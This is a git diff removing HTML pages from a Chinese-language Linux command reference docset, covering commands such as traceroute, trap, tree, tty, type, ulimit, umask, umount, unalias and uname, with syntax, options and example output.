有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会 有延时长的现象;您可以加-n参数来避免DNS解析,以IP格式输出数据。

-

如果在局域网中的不同网段之间,我们可以通过traceroute 来排查问题所在,是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决。

-

跳数设置

-
[root@localhost ~]# traceroute -m 10 www.baidu.com
-traceroute to www.baidu.com (61.135.169.105), 10 hops max, 40 byte packets
- 1  192.168.74.2 (192.168.74.2)  1.534 ms  1.775 ms  1.961 ms
- 2  211.151.56.1 (211.151.56.1)  0.508 ms  0.514 ms  0.507 ms
- 3  211.151.227.206 (211.151.227.206)  0.571 ms  0.558 ms  0.550 ms
- 4  210.77.139.145 (210.77.139.145)  0.708 ms  0.729 ms  0.785 ms
- 5  202.106.42.101 (202.106.42.101)  7.978 ms  8.155 ms  8.311 ms
- 6  bt-228-037.bta.net.cn (202.106.228.37)  772.460 ms bt-228-025.bta.net.cn (202.106.228.25)  2.152 ms 61.148.154.97 (61.148.154.97)  772.107 ms
- 7  124.65.58.221 (124.65.58.221)  4.875 ms 61.148.146.29 (61.148.146.29)  2.124 ms 124.65.58.221 (124.65.58.221)  4.854 ms
- 8  123.126.6.198 (123.126.6.198)  2.944 ms 61.148.156.6 (61.148.156.6)  3.505 ms 123.126.6.198 (123.126.6.198)  2.885 ms
- 9  * * *
-10  * * *
-
-

其它一些实例

-
traceroute -m 10 www.baidu.com # 跳数设置
-traceroute -n www.baidu.com    # 显示IP地址,不查主机名
-traceroute -p 6888 www.baidu.com  # 探测包使用的基本UDP端口设置6888
-traceroute -q 4 www.baidu.com  # 把探测包的个数设置为值4
-traceroute -r www.baidu.com    # 绕过正常的路由表,直接发送到网络相连的主机
-traceroute -w 3 www.baidu.com  # 把对外发探测包的等待响应时间设置为3秒
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/trap.html b/linux-command.docset/Contents/Resources/Documents/c/trap.html deleted file mode 100644 index d520d124c5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/trap.html +++ /dev/null @@ -1,172 +0,0 @@ - - - - - - - - - - - trap 命令,Linux trap 命令详解:捕捉信号和其他事件并执行命令。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

trap

-

捕捉信号和其他事件并执行命令。

-

概要

-
trap [-lp] [[arg] signal_spec ...]
-
-

主要用途

-
    -
  • 用于指定在接收到信号后将要采取的动作。
  • -
  • 脚本程序被中断时执行清理工作。
  • -
-

选项

-
-l    打印信号名称以及信号名称对应的数字。
--p    显示与每个信号关联的trap命令。
-
-

参数

-

arg:接收到信号时执行的命令。

-

signal_spec:信号名称或信号名称对应的数字。

-

返回值

-

如果表达式执行结果为成功时返回0,当参数 signal_spec 没有指定有效值时返回1。

-

关于信号

-

信号是一种进程间通信机制,它给应用程序提供一种异步的软件中断,使应用程序有机会接受其他程序活终端发送的命令(即信号)。应用程序收到信号后,有三种处理方式:忽略,默认,或捕捉。进程收到一个信号后,会检查对该信号的处理机制。如果是SIG_IGN,就忽略该信号;如果是SIG_DFT,则会采用系统默认的处理动作,通常是终止进程或忽略该信号;如果给该信号指定了一个处理函数(捕捉),则会中断当前进程正在执行的任务,转而去执行该信号的处理函数,返回后再继续执行被中断的任务。

-

在有些情况下,我们不希望自己的shell脚本在运行时刻被中断,比如说我们写得shell脚本设为某一用户的默认shell,使这一用户进入系统后只能作某一项工作,如数据库备份, 我们可不希望用户使用 Ctrl+C 等方法进入到shell状态做我们不希望做的事情。这便用到了信号处理。

-

以下是一些你可能会遇到的常见信号:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
信号名称信号数描述
SIGHUP1本信号在用户终端连接(正常或非正常)结束时发出,通常是在终端的控制进程结束时,通知同一session内的各个作业,这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。
SIGINT2程序终止(interrupt)信号,在用户键入 Ctrl+C 时发出。
SIGQUIT3和SIGINT类似,但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件,在这个意义上类似于一个程序错误信号。
SIGFPE8在发生致命的算术运算错误时发出。不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术错误。
SIGKILL9用来立即结束程序的运行。本信号不能被阻塞,处理和忽略。
SIGALRM14时钟定时信号,计算的是实际的时间或时钟时间。alarm 函数使用该信号。
SIGTERM15程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出;kill 命令缺省产生这个信号。
-

例子

-

当shell收到 HUP INT PIPE QUIT TERM 这几个命令时,当前执行的程序会执行 exit 1

-
[root@pc root]$ trap "exit 1" HUP INT PIPE QUIT TERM
-
-

1 清理临时文件

-

下面展示了如果有人试图从终端中止程序时,如何删除文件然后退出:

-
trap "rm -f $WORKDIR/work1 $WORKDIR/dataout; exit" 2
-
-

执行shell程序,如果程序接收信号为2,那么这两个文件 (work1 和 dataout) 将被自动删除。

-

添加信号1 SIGHUP

-
$ trap "rm $WORKDIR/work1 $WORKDIR/dataout; exit" 1 2
-
-

2 忽略信号

-

如果陷阱列出的命令是空的,指定的信号接收时,将被忽略:

-
$ trap '' 2
-
-

忽略多个信号:

-
$ trap '' 1 2 3 15
-
-

3 重置陷阱

-

当你改变了收到信号后采取的动作,你可以省略第一个参数来重置到默认行为。

-
$ trap 1 2
-
-

注意

-
    -
  1. trap -l 等价于执行 kill -l
  2. -
  3. 发送信号请查看 kill 命令。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看 help 命令。
  6. -
  7. 建议您阅读以下参考资料来深入了解该命令:
  8. -
- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tree.html b/linux-command.docset/Contents/Resources/Documents/c/tree.html deleted file mode 100644 index b6721e37e3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tree.html +++ /dev/null @@ -1,163 +0,0 @@ - - - - - - - - - - - tree 命令,Linux tree 命令详解:树状图列出目录的内容 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tree

-

树状图列出目录的内容

-

补充说明

-

tree命令 以树状图列出目录的内容。

-

语法

-
tree(选项)(参数)
-
-

选项

-
------- 列表选项 -------
--a            # 显示所有文件和目录。
--d            # 显示目录名称而非文件。
--l            # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
--f            # 在每个文件或目录之前,显示完整的相对路径名称。
--x            # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。
--L level      # 限制目录显示层级。
--R            # Rerun tree when max dir level reached.
--P pattern    # <范本样式> 只显示符合范本样式的文件和目录名称。
--I pattern    # Do not list files that match the given pattern.
---ignore-case # Ignore case when pattern matching.
---matchdirs   # Include directory names in -P pattern matching.
---noreport    # Turn off file/directory count at end of tree listing.
---charset X   # Use charset X for terminal/HTML and indentation line output.
---filelimit # # Do not descend dirs with more than # files in them.
---timefmt <f> # Print and format time according to the format <f>.
--o filename   # Output to file instead of stdout.
--------- 文件选项 ---------
--q            # 用“?”号取代控制字符,列出文件和目录名称。
--N            # 直接列出文件和目录名称,包括控制字符。
--Q            # Quote filenames with double quotes.
--p            # 列出权限标示。
--u            # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
--g            # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
--s            # 列出文件和目录大小。
--h            # Print the size in a more human readable way.
---si          # Like -h, but use in SI units (powers of 1000).
--D            # 列出文件或目录的更改时间。
--F            # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。
---inodes      # Print inode number of each file.
---device      # Print device ID number to which each file belongs.
-------- 排序选项 -------
--v            # Sort files alphanumerically by version.
--t            # 用文件和目录的更改时间排序。
--c            # Sort files by last status change time.
--U            # Leave files unsorted.
--r            # Reverse the order of the sort.
---dirsfirst   # List directories before files (-U disables).
---sort X      # Select sort: name,version,size,mtime,ctime.
-------- 图形选项 ------
--i            # 不以阶梯状列出文件和目录名称。
--A            # 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
--S            # Print with CP437 (console) graphics indentation lines.
--n            # Turn colorization off always (-C overrides).
--C            # 在文件和目录清单加上色彩,便于区分各种类型。
-------- XML / HTML / JSON选项 -------
--X            # Prints out an XML representation of the tree.
--J            # Prints out an JSON representation of the tree.
--H baseHREF   # Prints out HTML format with baseHREF as top directory.
--T string     # Replace the default HTML title and H1 header with string.
---nolinks     # Turn off hyperlinks in HTML output.
----- 杂项选项 ----
---version     # 输入版本信息。
---help        # 打印使用帮助信息。
---            # Options processing terminator.
-
-

参数

-

目录:执行tree指令,它会列出指定目录下的所有文件,包括子目录里的文件。

-

实例

-

列出目录/private/ 第一级文件名

-
tree  /private/ -L 1
-/private/
-├── etc
-├── tftpboot
-├── tmp
-└── var
-
-

忽略文件夹

-
tree -I node_modules # 忽略当前目录文件夹node_modules
-tree -P node_modules # 列出当前目录文件夹node_modules的目录结构
-tree -P node_modules -L 2 # 显示目录node_modules两层的目录树结构
-tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中
-
-

忽略多个文件夹

-
tree -I 'node_modules|icon|font' -L 2
-
-

非树状结构列出目录/private/下的所有文件

-
tree -if /private/
-/private
-/private/a1
-/private/a2
-/private/etc
-/private/etc/b1
-/private/etc/b2
-/private/tftpboot
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/true.html b/linux-command.docset/Contents/Resources/Documents/c/true.html deleted file mode 100644 index f36a5ed447..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/true.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - true 命令,Linux true 命令详解:返回状态为成功。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

true

-

返回状态为成功。

-

概要

-
true
-
-

主要用途

-
    -
  • 用于和其他命令进行逻辑运算。
  • -
-

返回值

-

返回状态总是成功;返回值为0。

-

例子

-
# 当你的脚本设置set -e时,任何返回值为失败的命令都会使得脚本退出。
-set -e
-# 如何临时跳过呢?下面的语句使用逻辑或操作符连接true,返回值一定为真。
-some_command || true
-
-# 当然,和python的pass一样,也可以用作条件语句临时占位。
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tty.html b/linux-command.docset/Contents/Resources/Documents/c/tty.html deleted file mode 100644 index 413c6b3fbb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tty.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - tty 命令,Linux tty 命令详解:显示连接到当前标准输入的终端设备文件名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tty

-

显示连接到当前标准输入的终端设备文件名

-

概要

-
tty [option] ...
-
-

主要用途

-
    -
  • 显示连接到当前标准输入的终端设备文件名,当标准输入不是终端时打印 "not a tty"。
  • -
-

选项

-
-s, --silent, --quiet    不打印任何信息,只返回退出状态。
---help                   显示帮助信息并退出。
---version                显示版本信息并退出。
-
-

返回值

-

当使用 -s, --silent, --quiet 时,返回码为 0 表示标准输入是终端,返回码为 1 表示标准输入不是终端,返回码为 2 表示选项错误,返回码为 3 表示有写错误发生。

-

例子

-

显示连接到当前标准输入的终端设备文件名。

-
[root@localhost ~]# tty
-/dev/pts/2
-
-

查找终端关联的进程(假设是 pts/2)

-
# 注意是筛选 TTY 列。
-ps -ef | egrep "pts/2 " | grep -v grep
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 ttyinfo coreutils 'tty invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/type.html b/linux-command.docset/Contents/Resources/Documents/c/type.html deleted file mode 100644 index a9a96328f6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/type.html +++ /dev/null @@ -1,170 +0,0 @@ - - - - - - - - - - - type 命令,Linux type 命令详解:显示指定命令的类型。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

type

-

显示指定命令的类型。

-

概要

-
 type [-afptP] name [name ...]
-
-

主要用途

-
    -
  • 显示要查找的命令的信息。
  • -
  • 控制查找范围和行为。
  • -
  • 显示要查找的命令优先级最高的类型。
  • -
-

选项

-
-a:在环境变量PATH中查找并显示所有包含name的可执行文件路径;当'-p'选项没有同时给出时,如果在别名、关键字,函数,内建的信息中存在name,则一并显示。
--f:排除对shell函数的查找。
--p:如果name在执行'type -t name'返回的不是'file',那么什么也不返回;否则会在环境变量PATH中查找并返回可执行文件路径。
--P:即使要查找的name是别名、内建、函数中的一个,仍然会在环境变量PATH中查找并返回可执行文件路径。
--t:根据name的类型返回一个单词(别名,关键字,函数,内建,文件),否则返回空值。
-
-

参数

-

name:要查找的命令,可以为多个。

-

返回值

-

当指定的命令可以找到时返回成功,如果有没找到的返回失败。

-

例子

-
接下来要用到的例子假设'~/.bashrc'文件定义了以下的内容:
-
-alias ls='ls --color=auto'
-mybash(){ vim ~/.bashrc; }
-
-而且执行环境里没有使用enable禁用内建命令。
-
-
type -a mybash
-# 输出
-mybash is a function
-mybash ()
-{
-    vim ~/.bashrc
-}
-
-type -a -f mybash
-# 输出(因为排除了函数,所以报错)
-bash: type: mybash: not found
-
-type -a -p mybash
-# 输出为空(因为排除了函数,所以什么也不返回)
-
-type -a ls
-# 输出
-ls is aliased to `ls --color=suto'
-ls is /usr/bin/ls
-ls is /bin/ls
-
-type -a -p ls
-# 输出
-/usr/bin/ls
-/bin/ls
-
-
# '-f'不会影响'-P'的范围,'-f'不建议和'-p'使用。
-# 注意:printf同时是内建命令以及可执行文件(GNU coreutils),优先作为内建处理。
-
-type -p printf
-# 输出为空
-
-type -P printf
-# 输出
-/usr/bin/printf
-/bin/printf
-
-
# 如果有多个类型,那么输出优先级最高的类型。
-
-type -t ls
-# 输出
-alias
-
-type -t for
-# 输出(bash关键字)
-keyword
-
-type -t mybash
-# 输出
-function
-
-type -t -f mybash
-# 输出空值
-
-type -t printf
-# 输出(bash内建优先级高)
-builtin
-
-type -t chmod
-# 输出
-file
-
-

注意

-
    -
  1. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  2. -
  3. -

    命令优先级问题请查看builtin命令。

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ulimit.html b/linux-command.docset/Contents/Resources/Documents/c/ulimit.html deleted file mode 100644 index 7caba86715..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ulimit.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - ulimit 命令,Linux ulimit 命令详解:控制shell程序的资源 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ulimit

-

控制shell程序的资源

-

补充说明

-

ulimit命令 用来限制系统用户对shell资源的访问。如果不懂什么意思,下面一段内容可以帮助你理解:

-

假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档,而假设每个文档的大小有 10M,这时系统的内存资源就会受到巨大的挑战。

-

而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量,分配堆栈的大 小,CPU 时间,虚拟内存大小,等等,都有非常严格的要求。资源的合理限制和分配,不仅仅是保证系统可用性的必要条件,也与系统上软件运行的性能有着密不可分的联 系。这时,ulimit 可以起到很大的作用,它是一种简单并且有效的实现资源限制的方式。

-

ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。

-

作为临时限制,ulimit 可以作用于通过使用其命令登录的 shell 会话,在会话终止时便结束限制,并不影响于其他 shell 会话。而对于长期的固定限制,ulimit 命令语句又可以被添加到由登录 shell 读取的文件中,作用于特定的 shell 用户。

-

语法

-
ulimit(选项)
-
-

选项

-
-a:显示目前资源限制的设定;
--c <core文件上限>:设定core文件的最大值,单位为区块;
--d <数据节区大小>:程序数据节区的最大值,单位为KB;
--e 默认进程优先级, 值越小优先级越高
--f <文件大小>:shell所能建立的最大文件,单位为区块;
--H:设定资源的硬性限制,也就是管理员所设下的限制;
--m <内存大小>:指定可使用内存的上限,单位为KB;
--n <文件数目>:指定同一时间最多可开启的文件数;
--p <缓冲区大小>:指定管道缓冲区的大小,单位512字节;
--s <堆叠大小>:指定堆叠的上限,单位为KB;
--S:设定资源的弹性限制;
--t <CPU时间>:指定CPU使用时间的上限,单位为秒;
--u <程序数目>:用户最多可开启的程序数目;
--v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB。
-
-

实例

-
[root@localhost ~]# ulimit -a
-core file size          (blocks, -c) 0           #core文件的最大值为100 blocks。
-data seg size           (kbytes, -d) unlimited   #进程的数据段可以任意大。
-scheduling priority             (-e) 0
-file size               (blocks, -f) unlimited   #文件可以任意大。
-pending signals                 (-i) 98304       #最多有98304个待处理的信号。
-max locked memory       (kbytes, -l) 32          #一个任务锁住的物理内存的最大值为32KB。
-max memory size         (kbytes, -m) unlimited   #一个任务的常驻物理内存的最大值。
-open files                      (-n) 1024        #一个任务最多可以同时打开1024的文件。
-pipe size            (512 bytes, -p) 8           #管道的最大空间为4096字节。
-POSIX message queues     (bytes, -q) 819200      #POSIX的消息队列的最大值为819200字节。
-real-time priority              (-r) 0
-stack size              (kbytes, -s) 10240       #进程的栈的最大值为10240字节。
-cpu time               (seconds, -t) unlimited   #进程使用的CPU时间。
-max user processes              (-u) 98304       #当前用户同时打开的进程(包括线程)的最大个数为98304。
-virtual memory          (kbytes, -v) unlimited   #没有限制进程的最大地址空间。
-file locks                      (-x) unlimited   #所能锁住的文件的最大个数没有限制。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/umask.html b/linux-command.docset/Contents/Resources/Documents/c/umask.html deleted file mode 100644 index db37cdc6dc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/umask.html +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - umask 命令,Linux umask 命令详解:显示或设置创建文件的权限掩码。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

umask

-

显示或设置创建文件的权限掩码。

-

概要

-
umask [-p] [-S] [mode]
-
-

主要用途

-
    -
  • 显示当前的文件权限掩码。
  • -
  • 通过八进制数的方式设置创建文件的权限掩码。
  • -
  • 通过符号组合的方式设置创建文件的权限掩码。
  • -
-

参数

-

mode(可选):八进制数或符号组合。

-

选项

-
-p:当没有参数时指定该选项,执行产生的输出格式可复用为输入;
--S:以符号组合的方式输出创建文件的权限掩码,不使用该选项时以八进制数的形式输出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-

以下的例子均假设文件权限掩码为0022。

-
# 以八进制数的形式输出创建文件的权限掩码。
-umask -p
-# 执行结果:
-umask 0022
-# 以符号组合的方式输出创建文件的权限掩码。
-umask -S
-# 执行结果:
-u=rwx,g=rx,o=rx
-
-
-

参考man chmod文档的DESCRIPTION段落得知:

-
    -
  • u符号代表当前用户。
  • -
  • g符号代表和当前用户在同一个组的用户,以下简称组用户。
  • -
  • o符号代表其他用户。
  • -
  • a符号代表所有用户。
  • -
  • r符号代表读权限以及八进制数4
  • -
  • w符号代表写权限以及八进制数2
  • -
  • x符号代表执行权限以及八进制数1
  • -
  • +符号代表添加目标用户相应的权限。
  • -
  • -符号代表删除目标用户相应的权限。
  • -
  • =符号代表添加目标用户相应的权限,删除未提到的权限。
  • -
-
-

那么刚才以符号形式输出的结果u=rwx,g=rx,o=rx转化为八进制数等于0755

-

用八进制数来设置同样的权限,umask需要额外的执行减法0777 - 07550022,而chmod不需要。

-

符号组合模式的添加、删除、赋值权限。

-
# 添加权限:
-# 为组用户添加写权限。
-umask g+w
-# 删除权限:
-# 删除其他用户的写、执行权限
-umask o-wx
-# 赋值权限:
-# 赋值全部用户所有权限,等价于umask u=rwx,g=rwx,o=rwx
-umask a=rwx
-# 清除其他用户的读、写、执行权限。
-umask o=
-
-

创建文件夹、文件(假设当前目录不存在)

-
# 创建文件
-touch test.sh
-# 查看权限,发现执行权限的设置不起作用。
-stat test.sh
-# 创建文件夹
-touch newdir
-# 查看权限,发现执行权限的设置可以起作用。
-stat newdir
-
-

注意

-
    -
  1. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  2. -
  3. -

    chmod用于更改已有对象的权限,umask影响之后新建对象的权限。

    -
  4. -
  5. -

    请谨慎使用该命令,特别是不要取消当前用户的读取权限,那样会导致你在终端使用TAB键补全时报错。

    -
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/umount.html b/linux-command.docset/Contents/Resources/Documents/c/umount.html deleted file mode 100644 index bd9f278a2e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/umount.html +++ /dev/null @@ -1,113 +0,0 @@ - - - - - - - - - - - umount 命令,Linux umount 命令详解:用于卸载已经加载的文件系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

umount

-

用于卸载已经加载的文件系统

-

补充说明

-

umount命令 用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统,不过最好还是通过挂载点卸载,以免使用绑定挂载(一个设备,多个挂载点)时产生混乱。

-

语法

-
umount(选项)(参数)
-
-

选项

-
-a:卸除/etc/mtab中记录的所有文件系统;
--h:显示帮助;
--n:卸除时不要将信息存入/etc/mtab文件中;
--r:若无法成功卸除,则尝试以只读的方式重新挂入文件系统;
--t<文件系统类型>:仅卸除选项中所指定的文件系统;
--v:执行时显示详细的信息;
--V:显示版本信息。
-
-

参数

-

文件系统:指定要卸载的文件系统或者其对应的设备文件名。

-

实例

-

下面两条命令分别通过设备名和挂载点卸载文件系统,同时输出详细信息:

-

通过设备名卸载

-
umount -v /dev/sda1
-/dev/sda1 umounted
-
-

通过挂载点卸载

-
umount -v /mnt/mymount/
-/tmp/diskboot.img umounted
-
-

如果设备正忙,卸载即告失败。卸载失败的常见原因是,某个打开的shell当前目录为挂载点里的某个目录:

-
umount -v /mnt/mymount/
-umount: /mnt/mymount: device is busy
-umount: /mnt/mymount: device is busy
-
-

有时,导致设备忙的原因并不好找。碰到这种情况时,可以用lsof列出已打开文件,然后搜索列表查找待卸载的挂载点:

-
lsof | grep mymount         查找mymount分区里打开的文件
-bash   9341  francois  cwd   DIR   8,1   1024    2 /mnt/mymount
-
-

从上面的输出可知,mymount分区无法卸载的原因在于,francois运行的PID为9341的bash进程。

-

对付系统文件正忙的另一种方法是执行延迟卸载:

-
umount -vl /mnt/mymount/     执行延迟卸载
-
-

延迟卸载(lazy unmount)会立即卸载目录树里的文件系统,等到设备不再繁忙时才清理所有相关资源。卸载可移动存储介质还可以用eject命令。下面这条命令会卸载cd并弹出CD:

-
eject /dev/cdrom      卸载并弹出CD 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unalias.html b/linux-command.docset/Contents/Resources/Documents/c/unalias.html deleted file mode 100644 index e8dbc6a143..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unalias.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - unalias 命令,Linux unalias 命令详解:删除由alias设置的别名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unalias

-

删除由alias设置的别名

-

概要

-
unalias [-a] name [name ...]
-
-

主要用途

-
    -
  • 删除一个或多个别名。
  • -
  • 删除全部已定义的别名。
  • -
-

选项

-
-a:删除全部已定义的别名。
-
-

参数

-

name:指定要删除的一个或多个已定义的别名。

-

返回值

-

unalias返回true除非您要删除的别名未定义。

-

例子

-
# 删除全部已定义的别名
-unalias -a
-
-# 删除已定义的别名(假设当前环境存在以下别名)
-unalias vi
-unalias ls grep
-
-

错误用法

-
    -
  • -

    要删除的别名未定义。

    -
  • -
  • -

    不使用-a选项时没有传递name参数。

    -
  • -
-

注意

-
    -
  1. 执行脚本时请注意:
  2. -
-
-

使用source命令执行的bash脚本如果执行了aliasunalias命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果;

-

通过sh方式调用的bash脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。

-
-
    -
  1. -

    查看及设置别名,请查看alias命令。

    -
  2. -
  3. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uname.html b/linux-command.docset/Contents/Resources/Documents/c/uname.html deleted file mode 100644 index 62491909a6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uname.html +++ /dev/null @@ -1,134 +0,0 @@ - - - - - - - - - - - uname 命令,Linux uname 命令详解:打印系统信息。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uname

-

打印系统信息。

-

概要

-
uname [OPTION]...
-
-

主要用途

-
    -
  • 打印机器和操作系统的信息。
  • -
  • 当没有选项时,默认启用 -s 选项。
  • -
  • 如果给出多个选项或 -a 选项时,输出信息按以下字段排序:内核名称 主机名称 内核release 内核版本 -机器名称 处理器 硬件平台 操作系统。
  • -
-

选项

-
-a, --all                  按顺序打印全部信息,如果 -p 和 -i 的信息是未知,那么省略。
--s, --kernel-name          打印内核名称。
--n, --nodename             打印网络节点主机名称。
--r, --kernel-release       打印内核release。
--v, --kernel-version       打印内核版本。
--m, --machine              打印机器名称。
--p, --processor            打印处理器名称。
--i, --hardware-platform    打印硬件平台名称。
--o, --operating-system     打印操作系统名称。
---help                     显示帮助信息并退出。
---version                  显示版本信息并退出。
-
-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
# 单独使用uname命令时相当于uname -s
-[root@localhost ~]# uname
-Linux
-
-
# 查看全部信息
-[root@localhost ~]# uname -a
-Linux localhost 2.6.18-348.6.1.el5 #1 SMP Tue May 21 15:34:22 EDT 2013 i686 i686 i386 GNU/Linux
-
-
# 分别列出信息
-[root@localhost ~]# uname -m
-i686
-
-[root@localhost ~]# uname -n
-localhost
-
-[root@localhost ~]# uname -r
-2.6.18-4-686
-
-[root@localhost ~]# uname -s
-Linux
-
-[root@localhost ~]# uname -v
-#1 SMP Tue May 21 15:34:22 EDT 2013
-
-[root@localhost ~]# uname -p
-i686
-
-[root@localhost ~]# uname -i
-i386
-
-[root@localhost ~]# uname -o
-GNU/Linux
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 unameinfo coreutils 'uname invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unarj.html b/linux-command.docset/Contents/Resources/Documents/c/unarj.html deleted file mode 100644 index 909991eb6c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unarj.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - unarj 命令,Linux unarj 命令详解:解压缩由arj命令创建的压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unarj

-

解压缩由arj命令创建的压缩包

-

补充说明

-

unarj命令 用来解压缩由arj命令创建的压缩包。

-

语法

-
unarj(选项)(参数)
-
-

选项

-
e:解压缩.arj文件;
-l:显示压缩文件内所包含的文件;
-t:检查压缩文件是否正确;
-x:解压缩时保留原有的路径。
-
-

参数

-

.arj压缩包:指定要解压缩的.arj压缩包。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uncompress.html b/linux-command.docset/Contents/Resources/Documents/c/uncompress.html deleted file mode 100644 index 0bf228af87..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uncompress.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - uncompress 命令,Linux uncompress 命令详解:用来解压.Z文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uncompress

-

用来解压.Z文件

-

补充说明

-

